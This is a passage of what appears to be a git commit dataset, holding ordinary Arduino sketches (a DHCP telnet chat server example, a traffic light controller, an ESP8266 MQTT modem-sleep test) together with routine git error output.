duino,raimohanska\/Arduino,tskurauskas\/Arduino,eddyst\/Arduino-SourceCode,bigjosh\/Arduino,jomolinare\/Arduino,rcook\/DesignLab,dvdvideo1234\/Energia,snargledorf\/Arduino,01org\/Arduino,weera00\/Arduino,ektor5\/Arduino,jomolinare\/Arduino,leftbrainstrain\/Arduino-ESP8266,EmuxEvans\/Arduino,talhaburak\/Arduino,ashwin713\/Arduino,tommyli2014\/Arduino,shiitakeo\/Arduino,sanyaade-iot\/Arduino-1,odbol\/Arduino,danielchalef\/Arduino,pdNor\/Arduino,NaSymbol\/Arduino,zederson\/Arduino,henningpohl\/Arduino,Cloudino\/Arduino,linino\/Arduino,ari-analytics\/Arduino,Chris--A\/Arduino,jadonk\/Energia,tommyli2014\/Arduino,qtonthat\/Energia,lulufei\/Arduino,bsmr-arduino\/Arduino,PaoloP74\/Arduino,superboonie\/Arduino,majenkotech\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,jaehong\/Xmegaduino,ari-analytics\/Arduino,jmgonzalez00449\/Arduino,eeijcea\/Arduino-1,byran\/Arduino,andrealmeidadomingues\/Arduino,byran\/Arduino,acosinwork\/Arduino,jmgonzalez00449\/Arduino,chaveiro\/Arduino,andyvand\/Arduino-1,cscenter\/Arduino,laylthe\/Arduino,meanbot\/Energia,pasky\/Energia,laylthe\/Arduino,nkolban\/Arduino,jomolinare\/Arduino,bigjosh\/Arduino,jmgonzalez00449\/Arduino,zaiexx\/Arduino,vbextreme\/Arduino,bsmr-arduino\/Arduino,gonium\/Arduino,lulufei\/Arduino,ntruchsess\/Arduino-1,jmgonzalez00449\/Arduino,wilhelmryan\/Arduino,EmuxEvans\/Arduino,Ramoonus\/Arduino,tskurauskas\/Arduino,jmgonzalez00449\/Arduino,radiolok\/Energia,odbol\/Arduino,zacinaction\/Energia,probonopd\/Arduino,martianmartin\/Energia,eddyst\/Arduino-SourceCode,niggor\/Arduino_cc,Orthogonal-Systems\/arduino-libs,chaveiro\/Arduino,eddyst\/Arduino-SourceCode,gberl001\/Arduino,Ramoonus\/Arduino,gestrem\/Arduino,mateuszdw\/Arduino,eggfly\/arduino,cscenter\/Arduino,plinioseniore\/Arduino,odbol\/Arduino,jaimemaretoli\/Arduino,championswimmer\/Arduino,stevemarple\/Arduino,koltegirish\/Arduino,laylthe\/Arduino,stevemarple\/Arduino,Cloudino\/Arduino,paulmand3l\/Arduino,paulo-raca\/ESP8266-Arduino,steamboating\/Arduino,drpjk\/Arduino,dvdvideo1234\/Energia,ikbelkirasan\/Arduino,laylthe\/Arduino,paulo-raca\/ESP8266-Arduino,arunkuttiyara\/Arduino,adamkh\/Arduino,rcook\/DesignLab,eduardocasarin\/Arduino,rcook\/DesignLab,bigjosh\/Arduino,me-no-dev\/Arduino-1,garci66\/Arduino,bugobliterator\/BUAGI,vbextreme\/Arduino,gestrem\/Arduino,diydrones\/Arduino,martianmartin\/Energia,noahchense\/Arduino-1,mangelajo\/Arduino,aichi\/Arduino-2,ccoenen\/Arduino,paulmand3l\/Arduino,pasky\/Energia,stickbreaker\/Arduino,mangelajo\/Arduino,NeuralSpaz\/Arduino,diydrones\/Arduino,bugobliterator\/BUAGI,ricklon\/Arduino,plaintea\/esp8266-Arduino,i--storm\/Energia,ms-iot\/Arduino,scdls\/Arduino,jaehong\/Xmegaduino,henningpohl\/Arduino,ssvs111\/Arduino,damellis\/Arduino,jaej-dev\/Arduino,piersoft\/esp8266-Arduino,NoPinky\/Energia,gonium\/Arduino,nkolban\/Arduino,ogahara\/Arduino,ari-analytics\/Arduino,jmgonzalez00449\/Arduino,cevatbostancioglu\/Energia,stevemarple\/Arduino,HCastano\/Arduino,adamkh\/Arduino,KlaasDeNys\/Arduino,tbowmo\/Arduino,PaoloP74\/Arduino,battosai30\/Energia,ccoenen\/Arduino,danielchalef\/Arduino,lukeWal\/Arduino,piersoft\/esp8266-Arduino,henningpohl\/Arduino,mattvenn\/Arduino,danielchalef\/Arduino,NicoHood\/Arduino,onovy\/Arduino,wdoganowski\/Arduino,NaSymbol\/Arduino,bobintornado\/Energia,damellis\/Arduino,cscenter\/Arduino,niggor\/Arduino_cc,pdNor\/Arduino,DavidUser\/Energia,ektor5\/Arduino,ms-iot\/Arduino,qtonthat\/Energia,eddyst\/Arduino-SourceCode,noahchense\/Arduino-1,ogferreiro\/Arduino,NicoHood\/Arduino,talhaburak\/Arduino,Orthogonal-Systems\/arduino-libs,tbowmo\/Arduino,arduino-org\/Arduino,gestrem\/Arduino,eggfly\/arduino,arunkuttiyara\/Arduino,plaintea\/esp8266-Arduino,fungxu\/Arduino,andyvand\/Arduino-1,shannonshsu\/Arduino,championswimmer\/Arduino,jadonk\/Energia,niggor\/Arduino_cc,tomkrus007\/Arduino,drpjk\/Arduino,chaveiro\/Arduino,kidswong999\/Arduino,toddtreece\/esp8266-Arduino,jadonk\/Energia,fungxu\/Arduino,ashwin713\/Arduino,Gourav2906\/Arduino,stevemarple\/Arduino-org,jaimemaretoli\/Arduino,PaoloP74\/Arduino,sanyaade-iot\/Energia,tomkrus007\/Arduino,ntruchsess\/Arduino-1,NicoHood\/Arduino,381426068\/Arduino,ashwin713\/Arduino,lukeWal\/Arduino,wilhelmryan\/Arduino,OpenDevice\/Arduino,onovy\/Arduino,PeterVH\/Arduino,radiolok\/Energia,Alfredynho\/AgroSis,bobintornado\/Energia,ikbelkirasan\/Arduino,majenkotech\/Arduino,koltegirish\/Arduino,bugobliterator\/BUAGI,diydrones\/Arduino,meanbot\/Energia,adamkh\/Arduino,Cloudino\/Arduino,HCastano\/Arduino,xxxajk\/Arduino-1,aichi\/Arduino-2,myrtleTree33\/Arduino,xxxajk\/Arduino-1,ricklon\/Arduino,shannonshsu\/Arduino,talhaburak\/Arduino,ikbelkirasan\/Arduino,lukeWal\/Arduino,henningpohl\/Arduino,mboufos\/esp8266-Arduino,zenmanenergy\/Arduino,EmuxEvans\/Arduino,tbowmo\/Arduino,cscenter\/Arduino,martianmartin\/Energia,leftbrainstrain\/Arduino-ESP8266,ashwin713\/Arduino,sanyaade-iot\/Arduino-1,rodibot\/Arduino,381426068\/Arduino,talhaburak\/Arduino,steamboating\/Arduino,weera00\/Arduino,garci66\/Arduino,benwolfe\/esp8266-Arduino,cscenter\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,zederson\/Arduino,jadonk\/Energia,jamesrob4\/Arduino,01org\/Arduino,sanyaade-iot\/Energia,toddtreece\/esp8266-Arduino,ssvs111\/Arduino,odbol\/Arduino,andyvand\/Arduino-1,Chris--A\/Arduino,battosai30\/Energia,UDOOboard\/Arduino,aichi\/Arduino-2,arduino-org\/Arduino,battosai30\/Energia,garci66\/Arduino,xxxajk\/Arduino-1,Cloudino\/Arduino,shiitakeo\/Arduino,NaSymbol\/Arduino,ms-iot\/Arduino,majenkotech\/Arduino,eggfly\/arduino,sanyaade-iot\/Energia,wdoganowski\/Arduino,Gourav2906\/Arduino,probonopd\/Arduino,ricklon\/Arduino,linino\/Arduino,Gourav2906\/Arduino,wilhelmryan\/Arduino,tbowmo\/Arduino,danielchalef\/Arduino,nkolban\/Arduino,ektor5\/Arduino,spapadim\/Arduino,Ramoonus\/Arduino,mc-hamster\/esp8266-Arduino,karlitxo\/Arduino,ForestNymph\/Arduino_sources,sanyaade-iot\/Arduino-1,NaSymbol\/Arduino,jomolinare\/Arduino,gurbrinder\/Arduino,tannewt\/Arduino,jomolinare\/Arduino,aichi\/Arduino-2,stickbreaker\/Arduino,ogahara\/Arduino,superboonie\/Arduino,jaimemaretoli\/Arduino,nkolban\/Arduino,zenmanenergy\/Arduino,probonopd\/Arduino,arunkuttiyara\/Arduino,stevemarple\/Arduino-org,PaoloP74\/Arduino,SmartArduino\/Arduino-1,eeijcea\/Arduino-1,stevemarple\/Arduino-org,tannewt\/Arduino,bobintornado\/Energia,cevatbostancioglu\/Energia,Chris--A\/Arduino,radut\/Arduino,jaehong\/Xmegaduino,danielchalef\/Arduino,linino\/Arduino,lulufei\/Arduino,Alfredynho\/AgroSis,mattvenn\/Arduino,PeterVH\/Arduino,garci66\/Arduino,PaintYourDragon\/Arduino,onovy\/Arduino,noahchense\/Arduino-1,ssvs111\/Arduino,toddtreece\/esp8266-Arduino,wayoda\/Arduino,championswimmer\/Arduino,381426068\/Arduino,meanbot\/Energia,benwolfe\/esp8266-Arduino,wilhelmryan\/Arduino,byran\/Arduino,superboonie\/Arduino,arunkuttiyara\/Arduino,stevemarple\/Arduino-org,paulo-raca\/ESP8266-Arduino,steamboating\/Arduino,stevemarple\/Arduino-org,croberts15\/Energia,KlaasDeNys\/Arduino,zederson\/Arduino,Cloudino\/Cloudino-Arduino-IDE,zacinaction\/Energia,shannonshsu\/Arduino,benwolfe\/esp8266-Arduino,KlaasDeNys\/Arduino,drpjk\/Arduino,pdNor\/Arduino,karlitxo\/Arduino,ogahara\/Arduino,ikbelkirasan\/Arduino,fungxu\/Arduino,odbol\/Arduino,steamboating\/Arduino,raimohanska\/Arduino,brianonn\/Energia,koltegirish\/Arduino,wilhelmryan\/Arduino,PaoloP74\/Arduino,stickbreaker\/Arduino,garci66\/Arduino,radut\/Arduino,wayoda\/Arduino,paulmand3l\/Arduino,gonium\/Arduino,danielohh\/Energia,ogferreiro\/Arduino,sanyaade-iot\/Arduino-1,eddyst\/Arduino-SourceCode,bigjosh\/Arduino,linino\/Arduino,jadonk\/Energia,OpenDevice\/Arduino,paulo-raca\/ESP8266-Arduino,zaiexx\/Arduino,mboufos\/esp8266-Arduino,stevemarple\/Arduino-org,Gourav2906\/Arduino,Alfredynho\/AgroSis,paulo-raca\/ESP8266-Arduino,NeuralSpaz\/Arduino,noahchense\/Arduino-1,cscenter\/Arduino,EmuxEvans\/Arduino,tbowmo\/Arduino,koltegirish\/Arduino,damellis\/Arduino,ccoenen\/Arduino,ricklon\/Arduino,jabezGit\/Arduino,lulufei\/Arduino,Ramoonus\/Arduino,ogferreiro\/Arduino,eddyst\/Arduino-SourceCode,xxxajk\/Arduino-1,radiolok\/Energia,byran\/Arduino,diydrones\/Arduino,rodibot\/Arduino,zacinaction\/Energia,paulmand3l\/Arduino,martianmartin\/Energia,PeterVH\/Arduino,stevemayhew\/Arduino,battosai30\/Energia,zaiexx\/Arduino,rodibot\/Arduino,byran\/Arduino,vbextreme\/Arduino,eduardocasarin\/Arduino,brianonn\/Energia,probonopd\/Arduino,henningpohl\/Arduino,gberl001\/Arduino,jamesrob4\/Arduino,onovy\/Arduino,gberl001\/Arduino,mangelajo\/Arduino,jaimemaretoli\/Arduino,jabezGit\/Arduino,NicoHood\/Arduino,UDOOboard\/Arduino,jaej-dev\/Arduino,cscenter\/Arduino,mattvenn\/Arduino,zacinaction\/Energia,Cloudino\/Cloudino-Arduino-IDE,plinioseniore\/Arduino,meanbot\/Energia,wilhelmryan\/Arduino,byran\/Arduino,wdoganowski\/Arduino,raimohanska\/Arduino,laylthe\/Arduino,nandojve\/Arduino,nkolban\/Arduino,tbowmo\/Arduino,martianmartin\/Energia,tbowmo\/Arduino,eeijcea\/Arduino-1,qtonthat\/Energia,cevatbostancioglu\/Energia,381426068\/Arduino,rcook\/DesignLab,xxxajk\/Arduino-1,andrealmeidadomingues\/Arduino,meanbot\/Energia,tskurauskas\/Arduino,ari-analytics\/Arduino,PeterVH\/Arduino,i--storm\/Energia,danielohh\/Energia,ricklon\/Arduino,talhaburak\/Arduino,ntruchsess\/Arduino-1,mc-hamster\/esp8266-Arduino,me-no-dev\/Arduino-1,mattvenn\/Arduino,Cloudino\/Arduino,aichi\/Arduino-2,arduino-org\/Arduino,tskurauskas\/Arduino,mateuszdw\/Arduino,zenmanenergy\/Arduino,myrtleTree33\/Arduino,stevemayhew\/Arduino,ogferreiro\/Arduino,vbextreme\/Arduino,bigjosh\/Arduino,probonopd\/Arduino,talhaburak\/Arduino,majenkotech\/Arduino,xxxajk\/Arduino-1,NaSymbol\/Arduino,HCastano\/Arduino,jaimemaretoli\/Arduino,qtonthat\/Energia,ms-iot\/Arduino,rodibot\/Arduino,jomolinare\/Arduino,jabezGit\/Arduino,Protoneer\/Arduino,gonium\/Arduino,NeuralSpaz\/Arduino,DavidUser\/Energia,Cloudino\/Cloudino-Arduino-IDE,gurbrinder\/Arduino,cevatbostancioglu\/Energia,NaSymbol\/Arduino,paulo-raca\/ESP8266-Arduino,vbextreme\/Arduino,arduino-org\/Arduino,ektor5\/Arduino,karlitxo\/Arduino,jamesrob4\/Arduino,ntruchsess\/Arduino-1,ccoenen\/Arduino,arduino-org\/Arduino,ccoenen\/Arduino,scdls\/Arduino,bugobliterator\/BUAGI,myrtleTree33\/Arduino,probonopd\/Arduino,DavidUser\/Energia,zenmanenergy\/Arduino,jabezGit\/Arduino,croberts15\/Energia,battosai30\/Energia,PaintYourDragon\/Arduino,andyvand\/Arduino-1,leftbrainstrain\/Arduino-ESP8266,kidswong999\/Arduino,spapadim\/Arduino,bigjosh\/Arduino,DavidUser\/Energia,martianmartin\/Energia,eduardocasarin\/Arduino,NicoHood\/Arduino,superboonie\/Arduino,piersoft\/esp8266-Arduino,me-no-dev\/Arduino-1,jabezGit\/Arduino,vigneshmanix\/Energia,ashwin713\/Arduino,danielchalef\/Arduino,vigneshmanix\/Energia,zederson\/Arduino,andyvand\/Arduino-1,zaiexx\/Arduino,zaiexx\/Arduino,EmuxEvans\/Arduino,garci66\/Arduino,jaej-dev\/Arduino,arduino-org\/Arduino,vigneshmanix\/Energia,paulmand3l\/Arduino,andrealmeidadomingues\/Arduino,KlaasDeNys\/Arduino,nandojve\/Arduino,niggor\/Arduino_cc,me-no-dev\/Arduino-1,jadonk\/Energia,chaveiro\/Arduino,fungxu\/Arduino,andrealmeidadomingues\/Arduino,jaimemaretoli\/Arduino,tommyli2014\/Arduino,mboufos\/esp8266-Arduino,wayoda\/Arduino,EmuxEvans\/Arduino,ForestNymph\/Arduino_sources,NeuralSpaz\/Arduino,noahchense\/Arduino-1,weera00\/Arduino,PeterVH\/Arduino,SmartArduino\/Arduino-1,piersoft\/esp8266-Arduino,jaej-dev\/Arduino,pdNor\/Arduino,ssvs111\/Arduino,ari-analytics\/Arduino,Gourav2906\/Arduino,jaehong\/Xmegaduino,ntruchsess\/Arduino-1,danielchalef\/Arduino,brianonn\/Energia,smily77\/Arduino,gonium\/Arduino,jaehong\/Xmegaduino,zacinaction\/Energia,brianonn\/Energia,nandojve\/Arduino,ikbelkirasan\/Arduino,scdls\/Arduino,shiitakeo\/Arduino,pasky\/Energia,bigjosh\/Arduino,ashwin713\/Arduino,stevemayhew\/Arduino,vbextreme\/Arduino,Gourav2906\/Arduino,adamkh\/Arduino,meanbot\/Energia,pasky\/Energia,arduino-org\/Arduino,adafruit\/ESP8266-Arduino,PeterVH\/Arduino,Ramoonus\/Arduino,damellis\/Arduino,onovy\/Arduino,fungxu\/Arduino,shannonshsu\/Arduino,plaintea\/esp8266-Arduino,mc-hamster\/esp8266-Arduino,cscenter\/Arduino,raimohanska\/Arduino,noahchense\/Arduino-1,cevatbostancioglu\/Energia,Cloudino\/Cloudino-Arduino-IDE,sanyaade-iot\/Arduino-1,ari-analytics\/Arduino,nandojve\/Arduino,zaiexx\/Arduino,ogferreiro\/Arduino,cevatbostancioglu\/Energia,SmartArduino\/Arduino-1,Protoneer\/Arduino,leftbrainstrain\/Arduino-ESP8266,gurbrinder\/Arduino,me-no-dev\/Arduino-1,arduino-org\/Arduino,rcook\/DesignLab,HCastano\/Arduino,aichi\/Arduino-2,PaintYourDragon\/Arduino,01org\/Arduino,vbextreme\/Arduino,scdls\/Arduino,scdls\/Arduino,radut\/Arduino,jaehong\/Xmegaduino,PaintYourDragon\/Arduino,damellis\/Arduino,stevemarple\/Arduino,superboonie\/Arduino,shannonshsu\/Arduino,gestrem\/Arduino,tannewt\/Arduino,Alfredynho\/AgroSis,battosai30\/Energia,weera00\/Arduino,wayoda\/Arduino,jamesrob4\/Arduino,dvdvideo1234\/Energia,mateuszdw\/Arduino,leftbrainstrain\/Arduino-ESP8266,aichi\/Arduino-2,stevemayhew\/Arduino,ForestNymph\/Arduino_sources,odbol\/Arduino,stevemayhew\/Arduino,plaintea\/esp8266-Arduino,stickbreaker\/Arduino,shannonshsu\/Arduino,stevemarple\/Arduino,eggfly\/arduino,Alfredynho\/AgroSis,eggfly\/arduino,smily77\/Arduino,diydrones\/Arduino,lukeWal\/Arduino,stevemarple\/Arduino-org,arunkuttiyara\/Arduino,tannewt\/Arduino,koltegirish\/Arduino,KlaasDeNys\/Arduino,stevemayhew\/Arduino,tommyli2014\/Arduino,SmartArduino\/Arduino-1,vbextreme\/Arduino,damellis\/Arduino,tomkrus007\/Arduino,kidswong999\/Arduino,me-no-dev\/Arduino-1,radiolok\/Energia,stevemarple\/Arduino,ccoenen\/Arduino,PaoloP74\/Arduino,smily77\/Arduino,vigneshmanix\/Energia,championswimmer\/Arduino,KlaasDeNys\/Arduino,andrealmeidadomingues\/Arduino,lulufei\/Arduino,mc-hamster\/esp8266-Arduino,cevatbostancioglu\/Energia,ogferreiro\/Arduino,laylthe\/Arduino,raimohanska\/Arduino,jaehong\/Xmegaduino,Protoneer\/Arduino,acosinwork\/Arduino,stickbreaker\/Arduino,rcook\/DesignLab,eduardocasarin\/Arduino,qtonthat\/Energia,vigneshmanix\/Energia,rodibot\/Arduino,adamkh\/Arduino,championswimmer\/Arduino,Protoneer\/Arduino,ogahara\/Arduino,381426068\/Arduino,myrtleTree33\/Arduino,sanyaade-iot\/Energia,acosinwork\/Arduino,brianonn\/Energia,shiitakeo\/Arduino,mboufos\/esp8266-Arduino,ThoughtWorksIoTGurgaon\/Arduino,tannewt\/Arduino,UDOOboard\/Arduino,381426068\/Arduino,NaSymbol\/Arduino,gberl001\/Arduino,ForestNymph\/Arduino_sources,croberts15\/Energia,Alfredynho\/AgroSis,NoPinky\/Energia,mateuszdw\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,ricklon\/Arduino,adafruit\/ESP8266-Arduino,eeijcea\/Arduino-1,ccoenen\/Arduino,eggfly\/arduino,adamkh\/Arduino,steamboating\/Arduino,wdoganowski\/Arduino,adafruit\/ESP8266-Arduino,tommyli2014\/Arduino,Chris--A\/Arduino,DavidUser\/Energia,tannewt\/Arduino,noahchense\/Arduino-1,scdls\/Arduino,ricklon\/Arduino,niggor\/Arduino_cc,danielohh\/Energia,bsmr-arduino\/Arduino,tomkrus007\/Arduino,steamboating\/Arduino,weera00\/Arduino,ikbelkirasan\/Arduino,pdNor\/Arduino,majenkotech\/Arduino,gberl001\/Arduino,zaiexx\/Arduino","old_file":"libraries\/Ethernet\/examples\/DhcpChatServer\/DhcpChatServer.ino","new_file":"libraries\/Ethernet\/examples\/DhcpChatServer\/DhcpChatServer.ino","new_contents":"\/*\n DHCP Chat Server\n \n A simple server that distributes any incoming messages to all\n connected clients. To use telnet to your device's IP address and type.\n You can see the client's input in the serial monitor as well.\n Using an Arduino Wiznet Ethernet shield. \n \n THis version attempts to get an IP address using DHCP\n \n Circuit:\n * Ethernet shield attached to pins 10, 11, 12, 13\n \n created 21 May 2011\n by Tom Igoe\n Based on ChatServer example by David A. Mellis\n \n *\/\n\n#include <SPI.h>\n#include <Ethernet.h>\n\n\/\/ Enter a MAC address and IP address for your controller below.\n\/\/ The IP address will be dependent on your local network.\n\/\/ gateway and subnet are optional:\nbyte mac[] = { \n 0x00, 0xAA, 0xBB, 0xCC, 0xDE, 0x02 };\nIPAddress ip(192,168,1, 177);\nIPAddress gateway(192,168,1, 1);\nIPAddress subnet(255, 255, 0, 0);\n\n\/\/ telnet defaults to port 23\nServer server(23);\nboolean gotAMessage = false; \/\/ whether or not you got a message from the client yet\n\nvoid setup() {\n \/\/ open the serial port\n Serial.begin(9600);\n \/\/ start the Ethernet connection:\n Serial.println(\"Trying to get an IP address using DHCP\");\n if (Ethernet.begin(mac) == 0) {\n Serial.println(\"Failed to configure Ethernet using DHCP\");\n \/\/ initialize the ethernet device not using DHCP:\n Ethernet.begin(mac, ip, gateway, subnet);\n }\n \/\/ print your local IP address:\n Serial.print(\"My IP address: \");\n ip = Ethernet.localIP();\n for (byte thisByte = 0; thisByte < 4; thisByte++) {\n \/\/ print the value of each byte of the IP address:\n Serial.print(ip[thisByte], DEC);\n Serial.print(\".\"); \n }\n Serial.println();\n \/\/ start listening for clients\n server.begin();\n \n}\n\nvoid loop() {\n \/\/ wait for a new client:\n Client client = server.available();\n\n \/\/ when the client sends the first byte, say hello:\n if (client) {\n if (!gotAMessage) {\n Serial.println(\"We have a new client\");\n client.println(\"Hello, client!\"); \n gotAMessage = true;\n }\n\n \/\/ read the bytes incoming from the client:\n char thisChar = client.read();\n \/\/ echo the bytes back to the client:\n server.write(thisChar);\n \/\/ echo the bytes to the server as well:\n Serial.print(thisChar);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'libraries\/Ethernet\/examples\/DhcpChatServer\/DhcpChatServer.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"658c70ffb8205a831574497b48e66938fe4b2149","subject":"Add digitalWrite command to pirState after the end of void loop()","message":"Add digitalWrite command to pirState after the end of void loop()\n","repos":"onordbo\/mood-cloud,onordbo\/mood-cloud,onordbo\/mood-cloud","old_file":"THIS SHIT WORKS\/randomLight_sensor\/randomLight_sensor.ino","new_file":"THIS SHIT WORKS\/randomLight_sensor\/randomLight_sensor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/onordbo\/mood-cloud.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"da3bebcc2be35785ba3a255d5a1c03b9d56f6dd5","subject":"Add - Raspberry Pi Camera XY mount controller .ino file","message":"Add - Raspberry Pi Camera XY mount controller .ino file\n","repos":"CasperPlatform\/Arduino_Sketches,SEMT2Group1\/Arduino_Sketches,SEMT2Group1\/Arduino_Sketches,CasperPlatform\/Arduino_Sketches","old_file":"Arduino\/Camera Controller\/XY_1\/XY_1.ino","new_file":"Arduino\/Camera Controller\/XY_1\/XY_1.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/Camera' did not match any file(s) known to git\nerror: pathspec 'Controller\/XY_1\/XY_1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"94598b06300d095311af9549f195bcc2b7c3e21a","subject":"Adding TrafficLight Arduino Code","message":"Adding TrafficLight Arduino Code\n","repos":"scorpionhiccup\/CarNet,scorpionhiccup\/CarNet,scorpionhiccup\/CarNet,scorpionhiccup\/CarNet,scorpionhiccup\/CarNet,scorpionhiccup\/CarNet","old_file":"TrafficLight_ino\/TrafficLight_ino.ino","new_file":"TrafficLight_ino\/TrafficLight_ino.ino","new_contents":"\/*\n Traffic Light\n *\/\n \n#include <math.h>\nint led = 8, led2=9, led3=10, current_state;\nint timeR=1000, timeY=1000, timeG=1000, MAX_DURATION=2000;\nint MAX_CAR=20;\n\nvoid setup() { \n pinMode(led, OUTPUT);\n current_state=0;\n}\n\nint CalcTime(int no_of_cars){\n no_of_cars=min(no_of_cars, 20);\n return 100*no_of_cars;\n}\n\nvoid loop() {\n if (current_state==0){\n digitalWrite(led, HIGH);\n digitalWrite(led2, LOW);\n digitalWrite(led3, LOW);\n\n timeR=min(timeR, MAX_DURATION);\n\n delay(timeR);\n current_state=(current_state+1)%5;\n }else if (current_state == 4){\n digitalWrite(led, HIGH);\n digitalWrite(led2, LOW);\n digitalWrite(led3, LOW);\n\n timeR=min(timeR, MAX_DURATION);\n\n delay(timeR);\n current_state=(current_state+1)%5 + 1;\n }else if (current_state==1 || current_state==3){\n digitalWrite(led, LOW);\n digitalWrite(led2, HIGH);\n digitalWrite(led3, LOW);\n\n timeR=min(timeR, MAX_DURATION);\n\n delay(timeY);\n current_state=(current_state+1)%5;\n }else if (current_state == 2){\n digitalWrite(led, LOW);\n digitalWrite(led2, LOW);\n digitalWrite(led3, HIGH);\n timeG=CalcTime(10);\n delay(timeG);\n current_state=(current_state+1)%5;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'TrafficLight_ino\/TrafficLight_ino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"44c4d9f1122f9b582ea1447a2c867ea0b40269f7","subject":"MODEM_SLEEP","message":"MODEM_SLEEP\n","repos":"chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino","old_file":"_37-wifi-off-modem-sleep\/_37-wifi-off-modem-sleep.ino","new_file":"_37-wifi-off-modem-sleep\/_37-wifi-off-modem-sleep.ino","new_contents":"#include <ESP8266WiFi.h>\n#include <PubSubClient.h>\n#include \"\/usr\/local\/src\/ap_setting.h\"\n\nextern \"C\" {\n#include \"user_interface.h\"\n}\n\n#define FPM_SLEEP_MAX_TIME 0xFFFFFFF\n\n#define IPSET_STATIC { 192, 168, 10, 7 }\n#define IPSET_GATEWAY { 192, 168, 10, 1 }\n#define IPSET_SUBNET { 255, 255, 255, 0 }\n#define IPSET_DNS { 192, 168, 10, 10 }\n\nIPAddress ip_static = IPSET_STATIC;\nIPAddress ip_gateway = IPSET_GATEWAY;\nIPAddress ip_subnet = IPSET_SUBNET;\nIPAddress ip_dns = IPSET_DNS;\n\nconst char* ssid = WIFI_SSID;\nconst char* password = WIFI_PASSWORD;\nIPAddress mqtt_server = MQTT_SERVER;\n\nchar* topic = \"pubtest\";\n\nString clientName;\nlong lastReconnectAttempt = 0;\nlong lastMsg = 0;\nint test_para = 1;\nunsigned long startMills;\n\nWiFiClient wifiClient;\nPubSubClient client(mqtt_server, 1883, wifiClient);\n\n\nvoid sendmqttMsg(char* topictosend, String payload)\n{\n\n if (client.connected()) {\n Serial.print(\"Sending payload: \");\n Serial.print(payload);\n\n unsigned int msg_length = payload.length();\n\n Serial.print(\" length: \");\n Serial.println(msg_length);\n\n byte* p = (byte*)malloc(msg_length);\n memcpy(p, (char*) payload.c_str(), msg_length);\n\n if ( client.publish(topictosend, p, msg_length)) {\n Serial.println(\"Publish ok\");\n free(p);\n \/\/return 1;\n } else {\n Serial.println(\"Publish failed\");\n free(p);\n \/\/return 0;\n }\n }\n}\n\nString macToStr(const uint8_t* mac)\n{\n String result;\n for (int i = 0; i < 6; ++i) {\n result += String(mac[i], 16);\n if (i < 5)\n result += ':';\n }\n return result;\n}\n\nboolean reconnect()\n{\n if (!client.connected()) {\n if (client.connect((char*) clientName.c_str())) {\n Serial.println(\"===> mqtt connected\");\n } else {\n Serial.print(\"---> mqtt failed, rc=\");\n Serial.println(client.state());\n }\n }\n return client.connected();\n}\n\nvoid wifi_connect()\n{\n if (WiFi.status() != WL_CONNECTED) {\n \/\/ WIFI\n Serial.println();\n Serial.print(\"===> WIFI ---> Connecting to \");\n Serial.println(ssid);\n delay(10);\n WiFi.mode(WIFI_STA);\n WiFi.begin(ssid, password);\n WiFi.config(IPAddress(ip_static), IPAddress(ip_gateway), IPAddress(ip_subnet), IPAddress(ip_dns));\n\n int Attempt = 0;\n while (WiFi.status() != WL_CONNECTED) {\n Serial.print(\". \");\n Serial.print(Attempt);\n delay(100);\n Attempt++;\n if (Attempt == 250)\n {\n Serial.println();\n Serial.println(\"-----> Could not connect to WIFI\");\n ESP.restart();\n delay(200);\n }\n\n }\n Serial.println();\n Serial.print(\"===> WiFi connected\");\n Serial.print(\" ------> IP address: \");\n Serial.println(WiFi.localIP());\n }\n}\n\nvoid setup()\n{\n startMills = millis();\n Serial.begin(74880);\n\n Serial.println(\"\");\n Serial.println(\"rtc mem test\");\n Serial.println(wifi_station_get_auto_connect());\n WiFi.setAutoConnect(true);\n\n wifi_connect();\n\n clientName += \"esp8266-\";\n uint8_t mac[6];\n WiFi.macAddress(mac);\n clientName += macToStr(mac);\n clientName += \"-\";\n clientName += String(micros() & 0xff, 16);\n\n}\n\nvoid loop()\n{\n Serial.println(\"starting main loop\");\n if (WiFi.status() == WL_CONNECTED) {\n if (!client.connected()) {\n long now = millis();\n if (now - lastReconnectAttempt > 200) {\n lastReconnectAttempt = now;\n if (reconnect()) {\n lastReconnectAttempt = 0;\n }\n }\n }\n } else {\n \/\/wifi_connect();\n }\n\n if (client.connected()) {\n String payload = \"{\\\"startMills\\\":\";\n payload += (millis() - startMills);\n payload += \",\\\"FreeHeap\\\":\";\n payload += ESP.getFreeHeap();\n payload += \",\\\"RSSI\\\":\";\n payload += WiFi.RSSI();\n payload += \"}\";\n sendmqttMsg(topic, payload);\n }\n\n Serial.println(\"diconnecting client and wifi\");\n client.disconnect();\n wifi_station_disconnect();\n wifi_set_opmode(NULL_MODE);\n wifi_set_sleep_type(MODEM_SLEEP_T);\n wifi_fpm_open();\n wifi_fpm_do_sleep(FPM_SLEEP_MAX_TIME);\n\n int counts = 0;\n while (true) {\n Serial.print(\"> \");\n Serial.print(counts);\n delay(200);\n counts++;\n if (counts == 50)\n {\n break;\n }\n }\n\n \/\/ wake up to use WiFi again\n wifi_fpm_do_wakeup();\n wifi_fpm_close();\n\n Serial.println(\"Reconnecting\");\n wifi_set_opmode(STATION_MODE);\n wifi_station_connect();\n wifi_connect();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec '_37-wifi-off-modem-sleep\/_37-wifi-off-modem-sleep.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"4d5d83e6bc98f131dec8e4cea82c1e636ff80948","subject":"anavi-miracle-controller-rainbow.ino: Test 